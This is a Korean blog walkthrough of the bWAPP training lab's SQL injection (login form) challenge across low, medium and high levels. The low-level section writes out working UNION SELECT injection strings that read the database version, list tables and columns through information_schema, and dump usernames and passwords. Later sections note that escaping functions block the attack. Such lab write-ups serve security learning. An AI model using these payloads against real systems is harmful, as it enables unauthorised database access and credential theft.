728x90
728x90
728x90
 

itsecgames.com

 

www.itsecgames.com

[사진 1]

로그인 폼에 대한 인젝션 문제이다.

 

low

[사진 2]

low 레벨에디ㅏ. single quote를 입력하면 sql 문법 에러가 출력된다.

 

[사진 3]
[사진 4]

간단하게 or 명령어로 참을 만들고 주석을 추가해주면 뒷 부분의 패스워드 비교는 우회된다. 서버에서 select하여 가져오는 데이터는 이이름으로 보이는 "Neo", "Alice" 데이터 1개와 "Oh Why Didn't I Took That BLACK Pill?", "There's A Cure!" 데이터 1개이다.

 

[사진 5]

UNION SELECT 명령어로 임의의 데이터 select하면 두 번째, 네 번째 값을 페이지에 출력함을 알 수 있다.

 

[사진 6]

db 정보를 알아낼 수 있다.

query : ' UNION SELECT 1, @@version, 3, database() #

 

[사진 7]

information_schema 스키마의 tables 테이블에서 table_name, table_schema 컬럼 데이터를 가져와 db에 존재하는 table을 확인할 수 있다.

query : ' UNION SELECT 1, table_name, 3, table_schema from information_schema.tables where table_schema != "information_schema" #

 

[사진 8]

limit 명령어로 특정 row 데이터를 읽을 수 있다. 테이블 스키마가 information_schema인 것을 제외하고 두 번째 행의 데이터를 보면 테이블명이 "Heroes"이며 스키마는 BWAPP인 것을 확인할 수 있다.

 

[사진 9]
[사진 10]
[사진 11]
[사진 12]

information_schema 스키마의 columns 테이블에서 특정 테이블의 컬럼 이름을 알 수 있다. "Heroes" 테이블의 컬럼은 총 4개이다.

query : ' UNION SELECT 1, column_name, 3, 4 from information_schema.columns where table_name = "heroes" limit 0, 1#
query : ' UNION SELECT 1, column_name, 3, 4 from information_schema.columns where table_name = "heroes" limit 1, 1#
query : ' UNION SELECT 1, column_name, 3, 4 from information_schema.columns where table_name = "heroes" limit 2, 1#
query : ' UNION SELECT 1, column_name, 3, 4 from information_schema.columns where table_name = "heroes" limit 3, 1#

 

[사진 13]

스키마와 테이블, 컬럼명을 다 알아 냈으니 해당 테이블을 조회하여 로그인 정보를 알아낼 수 있다.

query : ' UNION SELECT 1, login, 3, password from bWAPP.heroes limit 0, 1#

 

[사진 14]

[사진 13]에서 확인한 계정 정보(Login: neo, Password: trinity)를 입력하면 로그인 계정에 해당하는 secret 문장이 출력되는 것을 확인할 수 있다.

 

medium

[사진 15]

medium 레벨이다. single quote 입력 시 sql 문법 에러가 출력되지 않는다.

 

[사진 16]
[사진 17]

medium 레벨의 경우 addslashes() 함수로 쿼리를 필터링하는데, single quote 앞에 backslash가 붙어 일반 문자로 변환된다. 따라서 SQL Injection 공격이 어렵겠다.

 

* PHP addslashes() function

 

PHP: addslashes - Manual

spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that

www.php.net

high

[사진 18]
[사진 19]

high 레벨의 경우 mysql_real_ecape_string() 함수로 쿼리를 필터링하는데, addslashes() 함수와 마찬가지로 single quote 앞에 backslash를 붙이므로 SQL Injection 공격이 어렵겠다.

 

* PHP mysql_real_escape_string() function

 

PHP: mysql_real_escape_string - Manual

Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

728x90
728x90

'Wargame > bWAPP' 카테고리의 다른 글

bWAPP A1 SQL Injection (SQLite)  (0) 2020.10.28
bWAPP A1 SQL Injection (Login Form/User)  (0) 2020.10.28
bWAPP A1 SQL Injection (CAPTCHA)  (0) 2020.10.28
bWAPP A1 SQL Injection (AJAX/JSON/jQuery)  (0) 2020.10.28
bWAPP A1 SQL Injection (POST/Select)  (0) 2020.10.28

+ Recent posts